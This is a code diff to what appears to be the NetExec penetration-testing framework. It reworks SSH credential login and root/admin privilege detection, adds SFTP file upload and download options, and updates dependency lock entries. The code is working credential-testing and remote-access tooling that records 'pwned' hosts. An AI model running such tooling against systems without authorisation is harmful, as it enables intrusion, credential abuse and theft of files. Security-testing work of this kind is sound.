allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + cred_id = self.db.add_credential("plaintext", username, password) + self.check_shell(cred_id) + + secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" + self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") + return True + except AuthenticationException as e: + if "Private key file is encrypted" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + else: + self.logger.fail(f"{username}:{process_secret(password)}") + except SSHException as e: + if "Invalid key" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + elif "Error reading SSH protocol banner" in str(e): + self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + else: + self.logger.exception(e) + except Exception as e: + self.logger.exception(e) + self.conn.close() + return False + + def check_shell(self, cred_id): + host_id = self.db.get_hosts(self.host)[0].id + + # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + # Check Linux + stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Linux" + self.logger.debug(f"Linux detected for user: {stdout}") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_linux_priv() + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is root!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + + # Check Windows + stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Windows" + self.logger.debug("Windows detected") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_windows_priv(stdout) + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is admin!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + + # No shell access + self.shell_access = False + self.logger.debug(f"User: {self.username} can't get a basic shell") + self.server_os_platform = "Network Devices" + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + + def check_windows_priv(self, stdout): + if "SeDebugPrivilege" in stdout: + self.admin_privs = True + elif "SeUndockPrivilege" in stdout: + self.admin_privs = True + self.uac = "with UAC - " + + def check_linux_priv(self): if self.args.sudo_check: - self.check_if_admin_sudo() + self.check_linux_priv_sudo() return # we could add in another method to check by piping in the password to sudo @@ -105,7 +217,7 @@ class ssh(connection): self.logger.display(tips) return - def check_if_admin_sudo(self): + def check_linux_priv_sudo(self): if not self.password: self.logger.error("Check admin with sudo does not support using a private key") return @@ -181,102 +293,35 @@ class ssh(connection): self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") return - def plaintext_login(self, username, password, private_key=""): - self.username = username - self.password = password - stdout = None + def put_file_single(self, sftp_conn, src, dst): + self.logger.display(f'Copying "{src}" to "{dst}"') try: - if self.args.key_file or private_key: - self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") - - self.conn.connect( - self.host, - port=self.port, - username=username, - passphrase=password if password != "" else None, - key_filename=private_key if private_key else self.args.key_file, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - - cred_id = self.db.add_credential( - "key", - username, - password if password != "" else "", - key=private_key, - ) - - else: - self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") - self.conn.connect( - self.host, - port=self.port, - username=username, - password=password, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - cred_id = self.db.add_credential("plaintext", username, password) - - # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey - _, stdout, _ = self.conn.exec_command("id") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - except AuthenticationException: - self.logger.fail(f"{username}:{process_secret(password)}") - except SSHException as e: - if "Invalid key" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}") - if "Error reading SSH protocol banner" in str(e): - self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") - else: - self.logger.exception(e) + sftp_conn.put(src, dst) + self.logger.success(f'Created file "{src}" on "{dst}"') except Exception as e: - self.logger.exception(e) - self.conn.close() - return False - else: - shell_access = False - host_id = self.db.get_hosts(self.host)[0].id + self.logger.fail(f'Error writing file to "{dst}": {e}') - if not stdout: - _, stdout, _ = self.conn.exec_command("whoami /priv") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - self.server_os_platform = "Windows" - if "SeDebugPrivilege" in stdout: - self.admin_privs = True - elif "SeUndockPrivilege" in stdout: - self.admin_privs = True - self.uac = "with UAC - " + def put_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.put_file: + self.put_file_single(sftp_conn, src, dest) + sftp_conn.close() - if not stdout: - self.logger.debug(f"User: {self.username} can't get a basic shell") - self.server_os_platform = "Network Devices" - shell_access = False - else: - shell_access = True + def get_file_single(self, sftp_conn, remote_path, download_path): + self.logger.display(f'Copying "{remote_path}" to "{download_path}"') + try: + sftp_conn.get(remote_path, download_path) + self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + except Exception as e: + self.logger.fail(f'Error getting file "{remote_path}": {e}') + if os.path.getsize(download_path) == 0: + os.remove(download_path) - self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) - - if shell_access and self.server_os_platform == "Linux": - self.check_if_admin() - if self.admin_privs: - self.logger.debug(f"User {username} logged in successfully and is root!") - if self.args.key_file: - self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) - - if self.args.key_file: - password = f"{process_secret(password)} (keyfile: {self.args.key_file})" - - display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}" - self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") - - return True + def get_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.get_file: + self.get_file_single(sftp_conn, src, dest) + sftp_conn.close() def execute(self, payload=None, get_output=False): if not payload and self.args.execute: @@ -292,6 +337,6 @@ class ssh(connection): else: self.logger.success("Executed command") if get_output: - for line in stdout.split("\n"): + for line in stdout.replace("\r\n", "\n").rstrip("\n").split("\n"): self.logger.highlight(line.strip("\n")) return stdout diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index e94704be..7cf25475 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -9,7 +9,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger from nxc.paths import NXC_PATH @@ -256,7 +256,7 @@ class database(BaseDB): hosts = self.get_hosts(host_id) if creds and hosts: - for cred, host in zip(creds, hosts): + for cred, host in zip(creds, hosts, strict=True): cred_id = cred[0] host_id = host[0] link = {"credid": cred_id, "hostid": host_id} @@ -348,8 +348,8 @@ class database(BaseDB): return [results] # if we're filtering by host elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.host.like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"SSH get_hosts() - results: {results}") return results diff --git a/nxc/protocols/ssh/proto_args.py b/nxc/protocols/ssh/proto_args.py index f85ccbe4..8f82b787 100644 --- a/nxc/protocols/ssh/proto_args.py +++ b/nxc/protocols/ssh/proto_args.py @@ -12,6 +12,10 @@ def proto_args(parser, parents): ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results") sudo_check_method_arg.make_required.append(sudo_check_arg) + files_group = ssh_parser.add_argument_group("Files", "Options for remote file interaction") + files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt /tmp/whoami.txt") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: /tmp/whoami.txt whoami.txt") + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index fd3413f3..fb6e4d29 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -31,8 +31,11 @@ class vnc(connection): self.print_host_info() if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() def proto_logger(self): diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 77796b4a..ea3dee3a 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -72,8 +72,6 @@ class winrm(connection): self.logger.extra["port"] = self.port self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True - def create_conn_obj(self): if self.is_link_local_ipv6: self.logger.fail("winrm not support link-local ipv6, exiting...") diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index ffb00a09..c7c11feb 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,5 +1,4 @@ import sys - from sqlalchemy import Table, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.exc import ( @@ -7,7 +6,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger @@ -213,7 +212,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} @@ -309,8 +308,8 @@ class database(BaseDB): q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"winrm get_hosts() - results: {results}") return results diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 043b9518..caf9fd8c 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -146,7 +146,6 @@ class wmi(connection): self.logger.extra["protocol"] = "RPC" self.logger.extra["port"] = "135" self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True def check_if_admin(self): try: diff --git a/poetry.lock b/poetry.lock index ec974d9f..36383111 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,21 +1,19 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. [[package]] name = "aardwolf" -version = "0.2.8" +version = "0.2.11" description = "Asynchronous RDP protocol implementation" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "aardwolf-0.2.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fd1b9e54ce6df904f6db3bd22e7e0aeb5b400991c973a823fa98b713e0fe672"}, - {file = "aardwolf-0.2.8-cp310-cp310-win_amd64.whl", hash = "sha256:87a2bb7c01871567bf91655a143624d2d2a86c3f0688ac11ccf117197acbad25"}, - {file = "aardwolf-0.2.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d1d5d99886266050537e9816c9d8fcf1171ef10f04aac89b057972d2fddd134"}, - {file = "aardwolf-0.2.8-cp311-cp311-win_amd64.whl", hash = "sha256:8e8c9b18a66b4b283436f3680356ef99c567b4e6a4aa77d125191840efe8843e"}, - {file = "aardwolf-0.2.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51065eec8659f77f0cf444156724a8a9cc2e6d357f9a5ae0da0d0f9b30bbcfbc"}, - {file = "aardwolf-0.2.8-cp38-cp38-win_amd64.whl", hash = "sha256:05057c42a968c1d6b60613475e8e998b359e5593dd1ee58a21d56868d0790c49"}, - {file = "aardwolf-0.2.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1199ad08f53b4c2880f6dceaae70f0b497c9aca943cdbf249ec5f8bac5256bf0"}, - {file = "aardwolf-0.2.8-cp39-cp39-win_amd64.whl", hash = "sha256:9027a2c9c247b9cd920d0e4848ebef5e7abf32869c1c37fa73b3bca781253c36"}, - {file = "aardwolf-0.2.8.tar.gz", hash = "sha256:b2f7d56730d33d45c3e4e6047c22360c618c628151ba4d426c275ded56a4c51d"}, + {file = "aardwolf-0.2.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d071445ac0afed6e14e7cff1187db26c6331e84c383ea305b1f9041153dd71c4"}, + {file = "aardwolf-0.2.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:764bfe8cf5898b08e1c0923bea9b9a887b044d9e95461cecf59d864b7f0884dc"}, + {file = "aardwolf-0.2.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fb78ff2f410ff7effffc22bf7ba72f0dd0c95a6b7ac14d548ccbbc646699c27"}, + {file = "aardwolf-0.2.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c80a755da73568c61803957980266f6fdcd414507f9bfe628230f7a18d116b2e"}, + {file = "aardwolf-0.2.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce4bf855bec187c4ad5420f1da66ce1799f16dd0a34f81904e02e860ed85bbec"}, + {file = "aardwolf-0.2.11.tar.gz", hash = "sha256:46dc892703f133961b782fd2971124803cba7409ea5dad5b4ebb7653b16dcdf3"}, ] [package.dependencies] @@ -36,6 +34,7 @@ version = "0.1.6" description = "NTDS parser toolkit" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "aesedb-0.1.6-py3-none-any.whl", hash = "sha256:9dad54792b7d792715fd95379516b27e3a31de318199ba7cff51e5d0c8739228"}, ] @@ -46,26 +45,16 @@ colorama = "*" tqdm = "*" unicrypto = ">=0.0.9" -[[package]] -name = "aioconsole" -version = "0.6.2" -description = "Asynchronous console and interfaces for asyncio" -optional = false -python-versions = ">=3.7" -files = [ - {file = "aioconsole-0.6.2-py3-none-any.whl", hash = "sha256:1968021eb03b88fcdf5f5398154b21585e941a7b98c9fcef51c4bb0158156619"}, - {file = "aioconsole-0.6.2.tar.gz", hash = "sha256:bac11286f1062613d2523ceee1ba81c676cd269812b865b66b907448a7b5f63e"}, -] - [[package]] name = "aiosmb" -version = "0.4.10" +version = "0.4.11" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"}, - {file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"}, + {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, + {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, ] [package.dependencies] @@ -81,27 +70,13 @@ unicrypto = ">=0.0.10" wcwidth = "*" winacl = ">=0.1.8" -[[package]] -name = "aiosqlite" -version = "0.19.0" -description = "asyncio bridge to the standard sqlite3 module" -optional = false -python-versions = ">=3.7" -files = [ - {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"}, - {file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"}, -] - -[package.extras] -dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"] -docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"] - [[package]] name = "aiowinreg" version = "0.0.12" description = "Windows registry file reader" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "aiowinreg-0.0.12-py3-none-any.whl", hash = "sha256:a67be904045d8ecb4798fa691dd7688b20a6e47a524d093528f7e77d9eaf00e9"}, ] @@ -116,6 +91,7 @@ version = "0.4.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, @@ -146,13 +122,14 @@ files = [ [[package]] name = "argcomplete" -version = "3.4.0" +version = "3.5.3" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "argcomplete-3.4.0-py3-none-any.whl", hash = "sha256:69a79e083a716173e5532e0fa3bef45f793f4e61096cf52b5a42c0211c8b8aa5"}, - {file = "argcomplete-3.4.0.tar.gz", hash = "sha256:c2abcdfe1be8ace47ba777d4fce319eb13bf8ad9dace8d085dcad6eded88057f"}, + {file = "argcomplete-3.5.3-py3-none-any.whl", hash = "sha256:2ab2c4a215c59fd6caaff41a869480a23e8f6a5f910b266c1808037f4e375b61"}, + {file = "argcomplete-3.5.3.tar.gz", hash = "sha256:c12bf50eded8aebb298c7b7da7a5ff3ee24dffd9f5281867dfe1424b58c55392"}, ] [package.extras] @@ -164,6 +141,7 @@ version = "1.5.1" description = "Fast ASN.1 parser and serializer with definitions for private keys, public keys, certificates, CRL, OCSP, CMS, PKCS#3, PKCS#7, PKCS#8, PKCS#12, PKCS#5, X.509 and TSP" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "asn1crypto-1.5.1-py2.py3-none-any.whl", hash = "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67"}, {file = "asn1crypto-1.5.1.tar.gz", hash = "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c"}, @@ -175,6 +153,7 @@ version = "0.167.0" description = "ASN.1 parsing, encoding and decoding." optional = false python-versions = "*" +groups = ["main"] files = [ {file = "asn1tools-0.167.0.tar.gz", hash = "sha256:cad53f6f6d788a6eec5e37543401cd8c39f138cc8016b64629ec29fb4735f5b2"}, ] @@ -189,13 +168,14 @@ shell = ["prompt_toolkit"] [[package]] name = "asyauth" -version = "0.0.20" +version = "0.0.21" description = "Unified authentication library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"}, - {file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"}, + {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, + {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, ] [package.dependencies] @@ -206,13 +186,14 @@ unicrypto = ">=0.0.10" [[package]] name = "asysocks" -version = "0.2.12" +version = "0.2.13" description = "" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "asysocks-0.2.12-py3-none-any.whl", hash = "sha256:fe327e165e0eba750989ec34005b706ee68e8357d7d6c6478ebadc88ba482eb7"}, - {file = "asysocks-0.2.12.tar.gz", hash = "sha256:ba296f263b99aef742da6e338570a46f32e3c2d6c2d65896119db461aec5609d"}, + {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, + {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, ] [package.dependencies] @@ -222,38 +203,37 @@ h11 = ">=0.14.0" [[package]] name = "bcrypt" -version = "4.2.0" +version = "4.2.1" description = "Modern password hashing for your software and your servers" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "bcrypt-4.2.0-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:096a15d26ed6ce37a14c1ac1e48119660f21b24cba457f160a4b830f3fe6b5cb"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c02d944ca89d9b1922ceb8a46460dd17df1ba37ab66feac4870f6862a1533c00"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d84cf6d877918620b687b8fd1bf7781d11e8a0998f576c7aa939776b512b98d"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:1bb429fedbe0249465cdd85a58e8376f31bb315e484f16e68ca4c786dcc04291"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:655ea221910bcac76ea08aaa76df427ef8625f92e55a8ee44fbf7753dbabb328"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:1ee38e858bf5d0287c39b7a1fc59eec64bbf880c7d504d3a06a96c16e14058e7"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:0da52759f7f30e83f1e30a888d9163a81353ef224d82dc58eb5bb52efcabc399"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3698393a1b1f1fd5714524193849d0c6d524d33523acca37cd28f02899285060"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:762a2c5fb35f89606a9fde5e51392dad0cd1ab7ae64149a8b935fe8d79dd5ed7"}, - {file = "bcrypt-4.2.0-cp37-abi3-win32.whl", hash = "sha256:5a1e8aa9b28ae28020a3ac4b053117fb51c57a010b9f969603ed885f23841458"}, - {file = "bcrypt-4.2.0-cp37-abi3-win_amd64.whl", hash = "sha256:8f6ede91359e5df88d1f5c1ef47428a4420136f3ce97763e31b86dd8280fbdf5"}, - {file = "bcrypt-4.2.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:c52aac18ea1f4a4f65963ea4f9530c306b56ccd0c6f8c8da0c06976e34a6e841"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3bbbfb2734f0e4f37c5136130405332640a1e46e6b23e000eeff2ba8d005da68"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3413bd60460f76097ee2e0a493ccebe4a7601918219c02f503984f0a7ee0aebe"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8d7bb9c42801035e61c109c345a28ed7e84426ae4865511eb82e913df18f58c2"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3d3a6d28cb2305b43feac298774b997e372e56c7c7afd90a12b3dc49b189151c"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:9c1c4ad86351339c5f320ca372dfba6cb6beb25e8efc659bedd918d921956bae"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:27fe0f57bb5573104b5a6de5e4153c60814c711b29364c10a75a54bb6d7ff48d"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:8ac68872c82f1add6a20bd489870c71b00ebacd2e9134a8aa3f98a0052ab4b0e"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cb2a8ec2bc07d3553ccebf0746bbf3d19426d1c6d1adbd4fa48925f66af7b9e8"}, - {file = "bcrypt-4.2.0-cp39-abi3-win32.whl", hash = "sha256:77800b7147c9dc905db1cba26abe31e504d8247ac73580b4aa179f98e6608f34"}, - {file = "bcrypt-4.2.0-cp39-abi3-win_amd64.whl", hash = "sha256:61ed14326ee023917ecd093ee6ef422a72f3aec6f07e21ea5f10622b735538a9"}, - {file = "bcrypt-4.2.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:39e1d30c7233cfc54f5c3f2c825156fe044efdd3e0b9d309512cc514a263ec2a"}, - {file = "bcrypt-4.2.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f4f4acf526fcd1c34e7ce851147deedd4e26e6402369304220250598b26448db"}, - {file = "bcrypt-4.2.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:1ff39b78a52cf03fdf902635e4c81e544714861ba3f0efc56558979dd4f09170"}, - {file = "bcrypt-4.2.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:373db9abe198e8e2c70d12b479464e0d5092cc122b20ec504097b5f2297ed184"}, - {file = "bcrypt-4.2.0.tar.gz", hash = "sha256:cf69eaf5185fd58f268f805b505ce31f9b9fc2d64b376642164e9244540c1221"}, + {file = "bcrypt-4.2.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:1340411a0894b7d3ef562fb233e4b6ed58add185228650942bdc885362f32c17"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1ee315739bc8387aa36ff127afc99120ee452924e0df517a8f3e4c0187a0f5f"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dbd0747208912b1e4ce730c6725cb56c07ac734b3629b60d4398f082ea718ad"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:aaa2e285be097050dba798d537b6efd9b698aa88eef52ec98d23dcd6d7cf6fea"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:76d3e352b32f4eeb34703370e370997065d28a561e4a18afe4fef07249cb4396"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:b7703ede632dc945ed1172d6f24e9f30f27b1b1a067f32f68bf169c5f08d0425"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:89df2aea2c43be1e1fa066df5f86c8ce822ab70a30e4c210968669565c0f4685"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:04e56e3fe8308a88b77e0afd20bec516f74aecf391cdd6e374f15cbed32783d6"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cfdf3d7530c790432046c40cda41dfee8c83e29482e6a604f8930b9930e94139"}, + {file = "bcrypt-4.2.1-cp37-abi3-win32.whl", hash = "sha256:adadd36274510a01f33e6dc08f5824b97c9580583bd4487c564fc4617b328005"}, + {file = "bcrypt-4.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:8c458cd103e6c5d1d85cf600e546a639f234964d0228909d8f8dbeebff82d526"}, + {file = "bcrypt-4.2.1-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:8ad2f4528cbf0febe80e5a3a57d7a74e6635e41af1ea5675282a33d769fba413"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:909faa1027900f2252a9ca5dfebd25fc0ef1417943824783d1c8418dd7d6df4a"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cde78d385d5e93ece5479a0a87f73cd6fa26b171c786a884f955e165032b262c"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:533e7f3bcf2f07caee7ad98124fab7499cb3333ba2274f7a36cf1daee7409d99"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = 